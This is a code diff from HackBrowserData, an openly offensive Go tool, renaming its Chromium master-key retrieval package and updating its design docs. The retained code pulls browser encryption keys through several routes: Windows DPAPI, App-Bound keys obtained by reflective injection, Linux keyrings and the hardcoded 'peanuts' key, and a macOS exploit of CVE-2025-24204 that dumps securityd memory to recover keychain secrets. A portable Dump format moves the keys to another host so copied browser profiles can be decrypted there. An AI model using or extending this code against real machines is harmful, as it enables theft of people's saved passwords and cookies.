browsers, err := browser.DiscoverBrowsers(browser.PickOptions{ browsers, err := browser.DiscoverBrowsers(browser.DiscoverOptions{
Name: browserName, Name: browserName,
ProfilePath: profilePath, ProfilePath: profilePath,
}) })
+1 -1
View File
@@ -20,7 +20,7 @@ func listCmd() *cobra.Command {
Example: ` hack-browser-data list Example: ` hack-browser-data list
hack-browser-data list --detail`, hack-browser-data list --detail`,
RunE: func(cmd *cobra.Command, args []string) error { RunE: func(cmd *cobra.Command, args []string) error {
browsers, err := browser.DiscoverBrowsers(browser.PickOptions{Name: "all"}) browsers, err := browser.DiscoverBrowsers(browser.DiscoverOptions{Name: "all"})
if err != nil { if err != nil {
return err return err
} }
-59
View File
@@ -1,59 +0,0 @@
// Package keyretriever owns the master-key acquisition chain shared by all Chromium variants (Chrome,
// Edge, Brave, Arc, Opera, Vivaldi, Yandex, …). The chain is built once per process and reused for
// every profile.
//
// Firefox and Safari do not route through this package — Firefox derives its own keys from key4.db via
// NSS PBE, and Safari reads InternetPassword records directly from login.keychain-db. Each browser
// package owns its own credential-acquisition strategy; see rfcs/006-key-retrieval-mechanisms.md §7 for
// the rationale.
package keyretriever
import (
"errors"
"fmt"
"github.com/moond4rk/hackbrowserdata/log"
)
// errStorageNotFound is returned when the requested browser storage account is not found in the
// credential store (keychain, keyring, etc.). Only used on darwin and linux; Windows uses DPAPI which
// has no storage lookup.
var errStorageNotFound = errors.New("not found in credential store") //nolint:unused // only used on darwin and linux
// Hints bundles inputs for KeyRetriever; each retriever reads only the field that applies to it.
type Hints struct {
KeychainLabel string // macOS Keychain account / Linux D-Bus Secret Service label
WindowsABEKey string // Windows ABE browser key (e.g. "chrome"); "" → ABE not applicable
LocalStatePath string // path to (temp-copied) Local State JSON; only used on Windows
}
// KeyRetriever retrieves the master encryption key for a Chromium-based browser.
type KeyRetriever interface {
RetrieveKey(hints Hints) ([]byte, error)
}
// ChainRetriever tries multiple retrievers in order, returning the first success. Used on macOS
// (gcoredump → password → security) and Linux (D-Bus → peanuts).
type ChainRetriever struct {
retrievers []KeyRetriever
}
// NewChain creates a ChainRetriever that tries each retriever in order.
func NewChain(retrievers ...KeyRetriever) KeyRetriever {
return &ChainRetriever{retrievers: retrievers}
}
func (c *ChainRetriever) RetrieveKey(hints Hints) ([]byte, error) {
var errs []error
for _, r := range c.retrievers {
key, err := r.RetrieveKey(hints)
if err == nil && len(key) > 0 {
return key, nil
}
if err != nil {
log.Debugf("keyretriever %T failed: %v", r, err)
errs = append(errs, fmt.Errorf("%T: %w", r, err))
}
}
return nil, fmt.Errorf("all retrievers failed: %w", errors.Join(errs...))
}
-57
View File
@@ -1,57 +0,0 @@
package keyretriever
import (
"errors"
"fmt"
)
// MasterKeys holds per-cipher-version Chromium master keys. A profile may carry mixed prefixes
// (Chrome 127+ on Windows mixes v10+v20; Linux can mix v10+v11), so each tier must be populated
// independently for lossless decryption. A nil tier means that cipher version cannot be decrypted.
type MasterKeys struct {
V10 []byte `json:"v10,omitempty"`
V11 []byte `json:"v11,omitempty"`
V20 []byte `json:"v20,omitempty"`
}
// HasAny reports whether at least one tier carries a usable key. Centralizes the "is this MasterKeys
// worth keeping" check so new tiers (V21, V12, …) only need to be added here, not at every caller.
func (k MasterKeys) HasAny() bool {
return k.V10 != nil || k.V11 != nil || k.V20 != nil
}
// Retrievers is the per-tier retriever configuration; unused slots are nil.
type Retrievers struct {
V10 KeyRetriever
V11 KeyRetriever
V20 KeyRetriever
}
// NewMasterKeys fetches each non-nil tier in r and returns the assembled MasterKeys with per-tier
// errors joined. A retriever returning (nil, nil) signals "not applicable" and contributes no key
// silently. This function never logs; the caller decides severity.
func NewMasterKeys(r Retrievers, hints Hints) (MasterKeys, error) {
var keys MasterKeys
var errs []error
for _, t := range []struct {
name string
r KeyRetriever
dst *[]byte
}{
{"v10", r.V10, &keys.V10},
{"v11", r.V11, &keys.V11},
{"v20", r.V20, &keys.V20},
} {
if t.r == nil {
continue
}
k, err := t.r.RetrieveKey(hints)
if err != nil {
errs = append(errs, fmt.Errorf("%s: %w", t.name, err))
continue
}
*t.dst = k
}
return keys, errors.Join(errs...)
}
-23
View File
@@ -1,23 +0,0 @@
package keyretriever
// StaticProvider returns pre-supplied master-key bytes; used by cross-host workflows where keys come
// from a Dump rather than platform-native retrieval. RetrieveKey ignores Hints and returns the stored
// bytes verbatim; an empty StaticProvider returns (nil, nil), the "not applicable" signal accepted
// by NewMasterKeys when a tier was not present in the source Dump.
type StaticProvider struct {
key []byte
}
// NewStaticProvider wraps key bytes as a KeyRetriever. A nil/empty key produces a provider that
// reports the tier as unavailable (nil, nil) rather than returning a zero-length key.
func NewStaticProvider(key []byte) *StaticProvider {
return &StaticProvider{key: key}
}
// RetrieveKey returns the stored key bytes, ignoring Hints.
func (p *StaticProvider) RetrieveKey(_ Hints) ([]byte, error) {
if len(p.key) == 0 {
return nil, nil
}
return p.key, nil
}
@@ -1,6 +1,6 @@
//go:build windows //go:build windows
package keyretriever package masterkey
import ( import (
"encoding/base64" "encoding/base64"
@@ -1,4 +1,4 @@
package keyretriever package masterkey
import ( import (
"encoding/json" "encoding/json"
@@ -12,8 +12,8 @@ import (
const DumpVersion = "1" const DumpVersion = "1"
// Dump is the cross-host portable container for Chromium master keys. Producing it on one host lets another host skip // Dump is the portable, cross-host container for Chromium master keys — produce it on one host to
// platform-native retrieval (DPAPI, ABE injection, Keychain prompt, D-Bus query) when decrypting copied profile data. // decrypt copied profile data on another without DPAPI / ABE / Keychain / D-Bus.
type Dump struct { type Dump struct {
Version string `json:"version"` Version string `json:"version"`
CreatedAt time.Time `json:"created_at"` CreatedAt time.Time `json:"created_at"`
@@ -37,7 +37,6 @@ type Vault struct {
Keys MasterKeys `json:"keys"` Keys MasterKeys `json:"keys"`
} }
// NewDump returns a Dump initialized with current host metadata and an empty Vaults slice
func NewDump() Dump { func NewDump() Dump {
return Dump{ return Dump{
Version: DumpVersion, Version: DumpVersion,
@@ -47,7 +46,6 @@ func NewDump() Dump {
} }
} }
// currentHost collects host identification; Hostname/User are best-effort (syscall failure leaves them empty + omitempty).
func currentHost() Host { func currentHost() Host {
h := Host{OS: runtime.GOOS, Arch: runtime.GOARCH} h := Host{OS: runtime.GOOS, Arch: runtime.GOARCH}
if name, err := os.Hostname(); err == nil { if name, err := os.Hostname(); err == nil {
@@ -59,7 +57,6 @@ func currentHost() Host {
return h return h
} }
// WriteJSON writes the Dump as indented JSON to w.
func (d Dump) WriteJSON(w io.Writer) error { func (d Dump) WriteJSON(w io.Writer) error {
enc := json.NewEncoder(w) enc := json.NewEncoder(w)
enc.SetIndent("", " ") enc.SetIndent("", " ")
@@ -69,8 +66,8 @@ func (d Dump) WriteJSON(w io.Writer) error {
return nil return nil
} }
// ReadJSON parses a Dump from r and rejects schema versions this build cannot interpret — // ReadJSON parses a Dump and rejects versions this build can't interpret — a silent misparse of a
// silent misparse of a future v2 schema is worse than a clear error. // future v2 schema is worse than a clear error.
func ReadJSON(r io.Reader) (Dump, error) { func ReadJSON(r io.Reader) (Dump, error) {
var d Dump var d Dump
dec := json.NewDecoder(r) dec := json.NewDecoder(r)
@@ -1,4 +1,4 @@
package keyretriever package masterkey
import ( import (
"bytes" "bytes"
@@ -1,16 +1,10 @@
//go:build darwin //go:build darwin
package keyretriever package masterkey
// CVE-2025-24204: macOS securityd TCC bypass via gcore. // CVE-2025-24204: gcore holds the com.apple.system-task-ports.read entitlement, so a root process can
// The gcore binary holds the com.apple.system-task-ports.read entitlement, // dump securityd memory without a TCC prompt; we scan the dump for the 24-byte keychain master key.
// allowing any root process to dump securityd memory without a TCC prompt. // PoC: https://github.com/FFRI/CVE-2025-24204/tree/main/decrypt-keychain
// We scan the dump for the 24-byte keychain master key, then use it to
// extract browser storage passwords from login.keychain-db.
//
// References:
// - https://github.com/FFRI/CVE-2025-24204/tree/main/decrypt-keychain
// - https://support.apple.com/en-us/122373
import ( import (
"debug/macho" "debug/macho"
@@ -66,9 +60,8 @@ type addressRange struct {
end uint64 end uint64
} }
// DecryptKeychainRecords extracts all generic password records from login.keychain-db // DecryptKeychainRecords dumps securityd memory, scans for the keychain master key, and uses it to
// by dumping securityd memory and scanning for the keychain master key. // read login.keychain-db's generic password records. Requires root.
// Requires root privileges.
func DecryptKeychainRecords() ([]keychainbreaker.GenericPassword, error) { func DecryptKeychainRecords() ([]keychainbreaker.GenericPassword, error) {
if os.Geteuid() != 0 { if os.Geteuid() != 0 {
return nil, errors.New("requires root privileges") return nil, errors.New("requires root privileges")
@@ -216,8 +209,7 @@ func findMallocSmallRegions(pid int) ([]addressRange, error) {
return regions, nil return regions, nil
} }
// getMallocSmallRegionData finds the Mach-O segment matching the given // getMallocSmallRegionData returns the Mach-O segment data + vaddr for the given address range.
// address range and returns its raw data and virtual address.
func getMallocSmallRegionData(f *macho.File, region addressRange) ([]byte, uint64, error) { func getMallocSmallRegionData(f *macho.File, region addressRange) ([]byte, uint64, error) {
for _, seg := range f.Loads { for _, seg := range f.Loads {
if s, ok := seg.(*macho.Segment); ok { if s, ok := seg.(*macho.Segment); ok {
+53
View File
@@ -0,0 +1,53 @@
package masterkey
import (
"errors"
"fmt"
)
// MasterKeys holds one key per cipher tier; a profile can mix tiers (Win v10+v20, Linux v10+v11),
// so each is populated independently. A nil tier = that cipher version can't be decrypted.
type MasterKeys struct {
V10 []byte `json:"v10,omitempty"`
V11 []byte `json:"v11,omitempty"`
V20 []byte `json:"v20,omitempty"`
}
func (k MasterKeys) HasAny() bool {
return k.V10 != nil || k.V11 != nil || k.V20 != nil
}
// Retrievers is the per-tier retriever configuration; unused slots are nil.
type Retrievers struct {
V10 Retriever
V11 Retriever
V20 Retriever
}
// NewMasterKeys fetches each non-nil tier and joins per-tier errors. A retriever returning (nil, nil)
// means "tier not applicable" and contributes no key. Never logs — the caller decides severity.
func NewMasterKeys(r Retrievers, hints Hints) (MasterKeys, error) {
var keys MasterKeys
var errs []error
for _, t := range []struct {
name string
r Retriever
dst *[]byte
}{
{"v10", r.V10, &keys.V10},
{"v11", r.V11, &keys.V11},
{"v20", r.V20, &keys.V20},
} {
if t.r == nil {
continue
}
k, err := t.r.RetrieveKey(hints)
if err != nil {
errs = append(errs, fmt.Errorf("%s: %w", t.name, err))
continue
}
*t.dst = k
}
return keys, errors.Join(errs...)
}
@@ -1,4 +1,4 @@
package keyretriever package masterkey
import ( import (
"bytes" "bytes"
@@ -1,6 +1,6 @@
//go:build darwin || linux //go:build darwin || linux
package keyretriever package masterkey
import ( import (
"hash" "hash"
@@ -8,8 +8,7 @@ import (
"github.com/moond4rk/hackbrowserdata/crypto" "github.com/moond4rk/hackbrowserdata/crypto"
) )
// pbkdf2Params holds platform-specific PBKDF2 key derivation parameters. // pbkdf2Params holds platform-specific PBKDF2 parameters (each platform file defines its own).
// Each platform file defines its own params variable.
type pbkdf2Params struct { type pbkdf2Params struct {
salt []byte salt []byte
iterations int iterations int
@@ -17,7 +16,6 @@ type pbkdf2Params struct {
hashFunc func() hash.Hash hashFunc func() hash.Hash
} }
// deriveKey derives an encryption key from a secret using PBKDF2.
func (p pbkdf2Params) deriveKey(secret []byte) []byte { func (p pbkdf2Params) deriveKey(secret []byte) []byte {
return crypto.PBKDF2Key(secret, p.salt, p.iterations, p.keySize, p.hashFunc) return crypto.PBKDF2Key(secret, p.salt, p.iterations, p.keySize, p.hashFunc)
} }
+49
View File
@@ -0,0 +1,49 @@
// Package masterkey retrieves Chromium master keys (per-platform retrievers + a cross-host Dump format).
// Firefox and Safari own their own key paths and don't route through here.
package masterkey
import (
"errors"
"fmt"
"github.com/moond4rk/hackbrowserdata/log"
)
// errStorageNotFound: the browser's account is absent from the credential store (keychain/keyring).
var errStorageNotFound = errors.New("not found in credential store") //nolint:unused // only used on darwin and linux
// Hints bundles inputs for Retriever; each retriever reads only the field that applies to it.
type Hints struct {
KeychainLabel string // macOS Keychain account / Linux D-Bus Secret Service label
WindowsABEKey string // Windows ABE browser key (e.g. "chrome"); "" → ABE not applicable
LocalStatePath string // path to (temp-copied) Local State JSON; only used on Windows
}
// Retriever obtains a Chromium master key from one platform source (DPAPI, Keychain, D-Bus, …).
type Retriever interface {
RetrieveKey(hints Hints) ([]byte, error)
}
// ChainRetriever tries retrievers in order, first success wins (macOS V10: gcoredump→password→security).
type ChainRetriever struct {
retrievers []Retriever
}
func NewChain(retrievers ...Retriever) Retriever {
return &ChainRetriever{retrievers: retrievers}
}
func (c *ChainRetriever) RetrieveKey(hints Hints) ([]byte, error) {
var errs []error
for _, r := range c.retrievers {
key, err := r.RetrieveKey(hints)
if err == nil && len(key) > 0 {
return key, nil
}
if err != nil {
log.Debugf("retriever %T failed: %v", r, err)
errs = append(errs, fmt.Errorf("%T: %w", r, err))
}
}
return nil, fmt.Errorf("all retrievers failed: %w", errors.Join(errs...))
}
@@ -1,6 +1,6 @@
//go:build darwin //go:build darwin
package keyretriever package masterkey
import ( import (
"bytes" "bytes"
@@ -26,23 +26,18 @@ var darwinParams = pbkdf2Params{
hashFunc: sha1.New, hashFunc: sha1.New,
} }
// securityCmdTimeout is the maximum time to wait for the security command.
const securityCmdTimeout = 30 * time.Second const securityCmdTimeout = 30 * time.Second
// GcoredumpRetriever uses CVE-2025-24204 to extract keychain secrets // GcoredumpRetriever extracts keychain secrets via CVE-2025-24204 (dumps securityd memory; needs root).
// by dumping the securityd process memory. Requires root privileges. // Records are cached once (sync.Once) so the dump runs a single time across all browsers.
// All keychain records are cached via sync.Once so the memory dump
// happens only once, even when shared across multiple browsers.
type GcoredumpRetriever struct { type GcoredumpRetriever struct {
once sync.Once once sync.Once
records []keychainbreaker.GenericPassword records []keychainbreaker.GenericPassword
err error err error
} }
// RetrieveKey logs internal failures at Debug and returns (nil, nil) so ChainRetriever falls // RetrieveKey returns (nil, nil) on failure so ChainRetriever falls through silently — the common
// through to the next retriever silently. The most common failure ("requires root privileges") // "needs root" case isn't warning-worthy and would drown real warnings (same as ABERetriever).
// is documented expected behavior, not a warning-worthy condition; surfacing it on every profile
// would drown out genuine warnings. The same pattern is used by ABERetriever (see abe_windows.go).
func (r *GcoredumpRetriever) RetrieveKey(hints Hints) ([]byte, error) { func (r *GcoredumpRetriever) RetrieveKey(hints Hints) ([]byte, error) {
r.once.Do(func() { r.once.Do(func() {
r.records, r.err = DecryptKeychainRecords() r.records, r.err = DecryptKeychainRecords()
@@ -60,8 +55,6 @@ func (r *GcoredumpRetriever) RetrieveKey(hints Hints) ([]byte, error) {
return key, nil return key, nil
} }
// loadKeychainRecords opens login.keychain-db and unlocks it with the given
// password, returning all generic password records.
func loadKeychainRecords(password string) ([]keychainbreaker.GenericPassword, error) { func loadKeychainRecords(password string) ([]keychainbreaker.GenericPassword, error) {
kc, err := keychainbreaker.Open() kc, err := keychainbreaker.Open()
if err != nil { if err != nil {
@@ -73,8 +66,6 @@ func loadKeychainRecords(password string) ([]keychainbreaker.GenericPassword, er
return kc.GenericPasswords() return kc.GenericPasswords()
} }
// findStorageKey searches keychain records for the given storage account
// and derives the encryption key.
func findStorageKey(records []keychainbreaker.GenericPassword, storage string) ([]byte, error) { func findStorageKey(records []keychainbreaker.GenericPassword, storage string) ([]byte, error) {
for _, rec := range records { for _, rec := range records {
if rec.Account == storage { if rec.Account == storage {
@@ -84,10 +75,8 @@ func findStorageKey(records []keychainbreaker.GenericPassword, storage string) (
return nil, fmt.Errorf("%q: %w", storage, errStorageNotFound) return nil, fmt.Errorf("%q: %w", storage, errStorageNotFound)
} }
// KeychainPasswordRetriever unlocks login.keychain-db directly using the // KeychainPasswordRetriever unlocks login.keychain-db with the macOS login password (no root).
// user's macOS login password. No root privileges required. // Records are cached once and reused across browsers.
// The keychain is opened and decrypted only once; subsequent calls
// for different browsers reuse the cached records.
type KeychainPasswordRetriever struct { type KeychainPasswordRetriever struct {
Password string Password string
@@ -111,9 +100,8 @@ func (r *KeychainPasswordRetriever) RetrieveKey(hints Hints) ([]byte, error) {
return findStorageKey(r.records, hints.KeychainLabel) return findStorageKey(r.records, hints.KeychainLabel)
} }
// SecurityCmdRetriever uses macOS `security` CLI to query Keychain. // SecurityCmdRetriever queries Keychain via the macOS `security` CLI (may prompt). Results are
// This may trigger a password dialog on macOS. Results are cached // cached per storage name so each browser's key is fetched once.
// per storage name so each browser's key is fetched only once.
type SecurityCmdRetriever struct { type SecurityCmdRetriever struct {
mu sync.Mutex mu sync.Mutex
cache map[string]securityResult cache map[string]securityResult
@@ -151,9 +139,8 @@ func (r *SecurityCmdRetriever) retrieveKeyOnce(storage string) ([]byte, error) {
if errors.Is(ctx.Err(), context.DeadlineExceeded) { if errors.Is(ctx.Err(), context.DeadlineExceeded) {
return nil, fmt.Errorf("security command timed out after %s", securityCmdTimeout) return nil, fmt.Errorf("security command timed out after %s", securityCmdTimeout)
} }
// `security find-generic-password` exits non-zero with empty stderr when the user denies // `security` exits non-zero with empty stderr when the user denies the prompt or mistypes;
// the keychain access prompt or enters the wrong password. Surface that explicitly so the // surface that instead of the cryptic "exit status 128 ()".
// error message is actionable instead of the cryptic "exit status 128 ()".
stderrStr := strings.TrimSpace(stderr.String()) stderrStr := strings.TrimSpace(stderr.String())
if stderrStr == "" { if stderrStr == "" {
return nil, fmt.Errorf("security command: %w (likely keychain access denied or wrong password)", err) return nil, fmt.Errorf("security command: %w (likely keychain access denied or wrong password)", err)
@@ -172,15 +159,12 @@ func (r *SecurityCmdRetriever) retrieveKeyOnce(storage string) ([]byte, error) {
return darwinParams.deriveKey(secret), nil return darwinParams.deriveKey(secret), nil
} }
// DefaultRetrievers returns the macOS Retrievers. macOS has only a V10 tier (v11 and v20 cipher // DefaultRetrievers wires the macOS V10 chain (the only tier Chromium uses here), first success wins:
// prefixes are not used by Chromium on this platform), populated by a within-tier first-success // 1. GcoredumpRetriever — CVE-2025-24204 exploit (root only)
// chain tried in order:
//
// 1. GcoredumpRetriever — CVE-2025-24204 exploit (root only)
// 2. KeychainPasswordRetriever — direct unlock, skipped when password is empty // 2. KeychainPasswordRetriever — direct unlock, skipped when password is empty
// 3. SecurityCmdRetriever — `security` CLI fallback (may trigger a dialog) // 3. SecurityCmdRetriever — `security` CLI fallback (may prompt)
func DefaultRetrievers(keychainPassword string) Retrievers { func DefaultRetrievers(keychainPassword string) Retrievers {
chain := []KeyRetriever{&GcoredumpRetriever{}} chain := []Retriever{&GcoredumpRetriever{}}
if keychainPassword != "" { if keychainPassword != "" {
chain = append(chain, &KeychainPasswordRetriever{Password: keychainPassword}) chain = append(chain, &KeychainPasswordRetriever{Password: keychainPassword})
} }
@@ -1,6 +1,6 @@
//go:build darwin //go:build darwin
package keyretriever package masterkey
import ( import (
"testing" "testing"
@@ -1,6 +1,6 @@
//go:build linux //go:build linux
package keyretriever package masterkey
import ( import (
"crypto/sha1" "crypto/sha1"
@@ -69,27 +69,17 @@ func (r *DBusRetriever) RetrieveKey(hints Hints) ([]byte, error) {
return nil, fmt.Errorf("%q: %w", storage, errStorageNotFound) return nil, fmt.Errorf("%q: %w", storage, errStorageNotFound)
} }
// PosixRetriever produces Chromium's kV10Key by applying PBKDF2 to the hardcoded password // PosixRetriever derives Chromium's kV10Key via PBKDF2 over the hardcoded "peanuts" password — the
// "peanuts". Matches Chromium's upstream PosixKeyProvider (components/os_crypt/async/browser/ // deterministic v10 key used when no keyring exists (headless/Docker/CI). Mirrors PosixKeyProvider.
// posix_key_provider.cc): a deterministic 16-byte AES-128 key used to encrypt ciphertexts with
// the "v10" prefix when no keyring is available (headless servers, Docker, CI).
type PosixRetriever struct{} type PosixRetriever struct{}
func (r *PosixRetriever) RetrieveKey(_ Hints) ([]byte, error) { func (r *PosixRetriever) RetrieveKey(_ Hints) ([]byte, error) {
return linuxParams.deriveKey([]byte("peanuts")), nil return linuxParams.deriveKey([]byte("peanuts")), nil
} }
// DefaultRetrievers returns the Linux Retrievers, one per cipher tier. Chromium on Linux emits // DefaultRetrievers wires the Linux tiers, one per prefix Chromium emits: v10 = PBKDF2("peanuts")
// distinct prefixes for distinct key sources: // (kV10Key, no keyring); v11 = PBKDF2(keyring secret) (kV11Key, via D-Bus). A profile can carry both
// // if the host moved between headless and keyring sessions, so both run independently.
// - v10 prefix → PBKDF2("peanuts") — Chromium's kV10Key, emitted when no keyring is available
// (headless servers, Docker, CI).
// - v11 prefix → PBKDF2(keyring secret) — Chromium's kV11Key, emitted when D-Bus Secret
// Service (GNOME Keyring / KWallet) is reachable.
//
// A profile can carry both prefixes if the host moved between keyring-equipped and headless
// sessions, so both tiers run independently with per-tier logging rather than a first-success
// chain.
func DefaultRetrievers() Retrievers { func DefaultRetrievers() Retrievers {
return Retrievers{ return Retrievers{
V10: &PosixRetriever{}, V10: &PosixRetriever{},
@@ -1,6 +1,6 @@
//go:build linux //go:build linux
package keyretriever package masterkey
import ( import (
"testing" "testing"
@@ -1,4 +1,4 @@
package keyretriever package masterkey
import ( import (
"errors" "errors"
@@ -1,6 +1,6 @@
//go:build windows //go:build windows
package keyretriever package masterkey
import ( import (
"encoding/base64" "encoding/base64"
@@ -12,8 +12,7 @@ import (
"github.com/moond4rk/hackbrowserdata/crypto" "github.com/moond4rk/hackbrowserdata/crypto"
) )
// DPAPIRetriever reads the encrypted key from Chrome's Local State file // DPAPIRetriever unwraps Chrome's Local State os_crypt.encrypted_key via Windows DPAPI.
// and decrypts it using Windows DPAPI.
type DPAPIRetriever struct{} type DPAPIRetriever struct{}
func (r *DPAPIRetriever) RetrieveKey(hints Hints) ([]byte, error) { func (r *DPAPIRetriever) RetrieveKey(hints Hints) ([]byte, error) {
@@ -32,7 +31,6 @@ func (r *DPAPIRetriever) RetrieveKey(hints Hints) ([]byte, error) {
return nil, fmt.Errorf("base64 decode encrypted_key: %w", err) return nil, fmt.Errorf("base64 decode encrypted_key: %w", err)
} }
// First 5 bytes are the "DPAPI" prefix, validate and skip them
const dpapiPrefix = "DPAPI" const dpapiPrefix = "DPAPI"
if len(keyBytes) <= len(dpapiPrefix) { if len(keyBytes) <= len(dpapiPrefix) {
return nil, fmt.Errorf("encrypted_key too short: %d bytes", len(keyBytes)) return nil, fmt.Errorf("encrypted_key too short: %d bytes", len(keyBytes))
@@ -48,11 +46,8 @@ func (r *DPAPIRetriever) RetrieveKey(hints Hints) ([]byte, error) {
return masterKey, nil return masterKey, nil
} }
// DefaultRetrievers returns the Windows Retrievers: DPAPI for v10 (Chrome's os_crypt.encrypted_key) // DefaultRetrievers wires the Windows tiers: DPAPI for v10, ABE for v20 (Chrome 127+, via reflective
// and ABE for v20 (Chrome 127+ os_crypt.app_bound_encrypted_key retrieved via reflective injection // injection). Both run — a profile upgraded from pre-v127 mixes v10+v20 and needs both (issue #578).
// into the browser's elevation service). Both run independently — a single Chrome profile upgraded
// from pre-v127 carries mixed v10+v20 ciphertexts, and both tiers must be attempted to decrypt the
// full profile (see issue #578).
func DefaultRetrievers() Retrievers { func DefaultRetrievers() Retrievers {
return Retrievers{ return Retrievers{
V10: &DPAPIRetriever{}, V10: &DPAPIRetriever{},
+19
View File
@@ -0,0 +1,19 @@
package masterkey
// StaticRetriever returns pre-supplied key bytes (from a Dump) instead of platform retrieval, ignoring
// Hints. An empty key returns (nil, nil) — the "tier not applicable" signal NewMasterKeys expects.
type StaticRetriever struct {
key []byte
}
// NewStaticRetriever wraps key bytes; a nil/empty key yields a retriever that reports the tier unavailable.
func NewStaticRetriever(key []byte) *StaticRetriever {
return &StaticRetriever{key: key}
}
func (p *StaticRetriever) RetrieveKey(_ Hints) ([]byte, error) {
if len(p.key) == 0 {
return nil, nil
}
return p.key, nil
}
+7 -12
View File
@@ -25,7 +25,7 @@ HackBrowserData/
│ └── firefox/ # Firefox engine: extraction, NSS key derivation │ └── firefox/ # Firefox engine: extraction, NSS key derivation
├── types/ # Data model: Category enum, Entry structs, BrowserData ├── types/ # Data model: Category enum, Entry structs, BrowserData
├── crypto/ # Encryption primitives, cipher version detection ├── crypto/ # Encryption primitives, cipher version detection
│ └── keyretriever/ # Platform-specific master key retrieval (Keychain/DPAPI/D-Bus) ├── masterkey/ # Platform-specific master key retrieval (Keychain/DPAPI/D-Bus)
├── filemanager/ # Temp file session, locked file handling (Windows) ├── filemanager/ # Temp file session, locked file handling (Windows)
├── output/ # Output Writer: CSV, JSON, CookieEditor formatters ├── output/ # Output Writer: CSV, JSON, CookieEditor formatters
├── log/ # Logging with level filtering ├── log/ # Logging with level filtering
@@ -83,10 +83,10 @@ There are two entry points, one for extraction and one for discovery:
``` ```
DiscoverBrowsersWithKeys(opts) // used by `dump` — ready to Extract DiscoverBrowsersWithKeys(opts) // used by `dump` — ready to Extract
pickFromConfigs(configs, opts) // shared discovery core discoverFromConfigs(configs, opts) // shared discovery core
→ platformBrowsers() // build-tagged list for this OS → platformBrowsers() // build-tagged list for this OS
→ filter by name / profile path → filter by name / profile path
→ newBrowsers(cfg) // dispatch to chromium/firefox/safari.NewBrowsers → newBrowser(cfg) // dispatch to chromium/firefox/safari.NewBrowser
→ discoverProfiles() // scan profile subdirectories → discoverProfiles() // scan profile subdirectories
→ resolveSourcePaths() // stat candidates, first match wins → resolveSourcePaths() // stat candidates, first match wins
→ newCredentialInjector(opts) // build-tagged: returns a browserInjector → newCredentialInjector(opts) // build-tagged: returns a browserInjector
@@ -94,20 +94,15 @@ DiscoverBrowsersWithKeys(opts) // used by `dump` — ready to
inject(b) // type-assert retrieverSetter / keychainPasswordSetter inject(b) // type-assert retrieverSetter / keychainPasswordSetter
DiscoverBrowsers(opts) // used by `list` / `list --detail` DiscoverBrowsers(opts) // used by `list` / `list --detail`
pickFromConfigs(configs, opts) // same shared discovery core, NO injection discoverFromConfigs(configs, opts) // same shared discovery core, NO injection
``` ```
`DiscoverBrowsersWithKeys` does discovery + decryption setup in one call; the returned `DiscoverBrowsersWithKeys` does discovery + decryption setup in one call; the returned browsers are ready for `b.Extract`. `DiscoverBrowsers` skips injection entirely, so list-style commands never trigger the macOS Keychain password prompt — they have no use for the credential. Both entry points share the same `discoverFromConfigs` core, so filtering/profile-path/glob semantics stay consistent.
browsers are ready for `b.Extract`. `DiscoverBrowsers` skips injection
entirely, so list-style commands never trigger the macOS Keychain password
prompt — they have no use for the credential. Both entry points share the
same `pickFromConfigs` core, so filtering/profile-path/glob semantics stay
consistent.
Key design decisions: Key design decisions:
- **One KeyRetriever chain per process** — built lazily inside `newCredentialInjector` and reused across every Chromium browser and every profile to prevent repeated keychain prompts on macOS. - **One Retriever chain per process** — built lazily inside `newCredentialInjector` and reused across every Chromium browser and every profile to prevent repeated keychain prompts on macOS.
- **Discovery is decoupled from injection** — `pickFromConfigs` is injection-free; `DiscoverBrowsers` stops after it, `DiscoverBrowsersWithKeys` continues into injection. - **Discovery is decoupled from injection** — `discoverFromConfigs` is injection-free; `DiscoverBrowsers` stops after it, `DiscoverBrowsersWithKeys` continues into injection.
- **Profile discovery differs by engine**: Chromium looks for `Preferences` files in subdirectories; Firefox accepts any subdirectory containing known source files. - **Profile discovery differs by engine**: Chromium looks for `Preferences` files in subdirectories; Firefox accepts any subdirectory containing known source files.
- **Flat layout fallback** — Opera-style browsers that store data directly in UserDataDir (no profile subdirectories) are handled by falling back to the base directory. - **Flat layout fallback** — Opera-style browsers that store data directly in UserDataDir (no profile subdirectories) are handled by falling back to the base directory.
+12 -12
View File
@@ -14,11 +14,11 @@ Chromium-based browsers encrypt sensitive data (passwords, cookies, credit cards
| Windows | `Local State` JSON (DPAPI-encrypted) | Raw AES-256 key | | Windows | `Local State` JSON (DPAPI-encrypted) | Raw AES-256 key |
| Linux | GNOME Keyring / KDE Wallet via D-Bus | Password string → PBKDF2 → AES-128 | | Linux | GNOME Keyring / KDE Wallet via D-Bus | Password string → PBKDF2 → AES-128 |
Each platform may have multiple retrieval strategies. The `KeyRetriever` interface and `ChainRetriever` pattern abstract over these strategies, trying each in priority order until one succeeds. Each platform may have multiple retrieval strategies. The `Retriever` interface and `ChainRetriever` pattern abstract over these strategies, trying each in priority order until one succeeds.
For Chromium encryption details (cipher versions, AES-CBC/GCM), see [RFC-003](003-chromium-encryption.md). Firefox manages its own keys via `key4.db` — see [RFC-005](005-firefox-encryption.md). For Chromium encryption details (cipher versions, AES-CBC/GCM), see [RFC-003](003-chromium-encryption.md). Firefox manages its own keys via `key4.db` — see [RFC-005](005-firefox-encryption.md).
## 2. KeyRetriever Interface ## 2. Retriever Interface
The interface takes a single `Hints` struct so caller intent is explicit rather than positional: The interface takes a single `Hints` struct so caller intent is explicit rather than positional:
@@ -115,14 +115,14 @@ Unlike macOS/Linux, DPAPI gives the **final AES-256 key directly**. No intermedi
### 4.4 Dual-Tier Retrievers (V10 + V20) ### 4.4 Dual-Tier Retrievers (V10 + V20)
Windows populates two slots of the `keyretriever.Retrievers` struct — V10 (legacy DPAPI) and V20 (Chrome 127+ App-Bound Encryption) — which run independently rather than as a first-success chain. V11 stays nil on Windows (Chromium does not emit v11 prefix there). Windows populates two slots of the `masterkey.Retrievers` struct — V10 (legacy DPAPI) and V20 (Chrome 127+ App-Bound Encryption) — which run independently rather than as a first-success chain. V11 stays nil on Windows (Chromium does not emit v11 prefix there).
| Slot | Retriever | Source field | Mechanism | | Slot | Retriever | Source field | Mechanism |
|------|-----------|--------------|-----------| |------|-----------|--------------|-----------|
| V10 | `DPAPIRetriever` | `os_crypt.encrypted_key` | `CryptUnprotectData` (Crypt32.dll) | | V10 | `DPAPIRetriever` | `os_crypt.encrypted_key` | `CryptUnprotectData` (Crypt32.dll) |
